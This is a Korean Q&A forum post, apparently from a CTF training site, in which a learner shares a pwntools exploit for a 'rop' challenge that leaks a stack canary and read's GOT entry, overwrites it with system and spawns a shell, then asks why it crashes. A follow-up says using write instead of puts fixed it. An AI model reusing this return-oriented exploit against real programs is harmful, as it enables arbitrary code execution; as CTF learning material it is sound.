도저히 모르겠습니다 rop 설계는 잘 된 것 같은데...
  1 from pwn import *
  2 p = process('./rop')
  3 #p = remote('host3.dreamhack.games', 14477)
  4 context.arch = 'amd64'
  5
  6 libc = ELF("./libc.so.6")
  7 e = ELF('./rop')
  8
  9 #data of table info
 10 read_system = libc.symbols["read"] - libc.symbols["system"] # system function offset
 11 read_got = e.got['read']
 12 puts_plt = e.plt['puts']
 13 read_plt = e.plt['read']
 14 write_plt = e.plt['write']
 15
 16 ret = 0x0000000000400596 # ret
 17 pop_rsi = 0x0000000000400851 # pop rsi; pop r15; ret
 18 pop_rdi = 0x0000000000400853 # pop rdi; ret
 19
 20 #canary leak
 21 payload = b'A' * 0x39
 22 p.sendafter(b'Buf: ', payload)
 23 p.recvuntil(payload)
 24 canary = p.recvn(7)
 25 canary = u64(b'\x00' + canary)
 26 print(canary)
 27
 28 payload = b'A'*0x38 + p64(canary) + b'B'*0x08 # pay of canary
 29
 30 payload += p64(pop_rdi)
 31 payload += p64(read_got)
 32 payload += p64(puts_plt) #print read GOT
 33
 34 payload += p64(pop_rdi)
 35 payload += p64(0x00)
 36 payload += p64(pop_rsi)
 37 payload += p64(read_got)
 38 payload += p64(0x00)
 39 payload += p64(read_plt) #std input = read_got -> last p.send's input
 40
 41 payload += p64(pop_rdi)
 42 payload += p64(read_got + 0x08)
 43 payload += p64(ret)
 44 payload += p64(read_plt) # system(/bin/sh)
 45
 46 p.sendafter(b'Buf: ', payload)
 47
 48 read = u64(p.recvn(6) + b'\x00' * 0x02)
 49 libc_base = read - libc.symbols['read']
 50 system = libc_base + libc.symbols['system']
 51
 52 print(b'read', read)
 53 print(b'base', libc_base)
 54 print(b'system', system)
 55
 56 p.send(p64(system) + b'/bin/sh\x00') # standard input
 57 p.interactive()

현재 이렇게 작성을 하였습니다 그런데 SIGSEGV가 뜰 때도 있고, SIGILL가 뜰 때도 있습니다 readGOT 출력 자체는 문제없이 되는 것 같습니다. 사용한 libc.so.6은 문제 파일 받을 때 같이 온 것을 사용했습니다.

#pwnable
작성자 정보
답변 1

위 코드에서는 puts를 사용했는데 write.plt를 사용하니까 해결이 되었습니다 혹시 puts의 마지막 개행문자 때문에 그런건지 무엇 때문인지 잘 모르겠습니다.

2024.02.23. 19:24
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기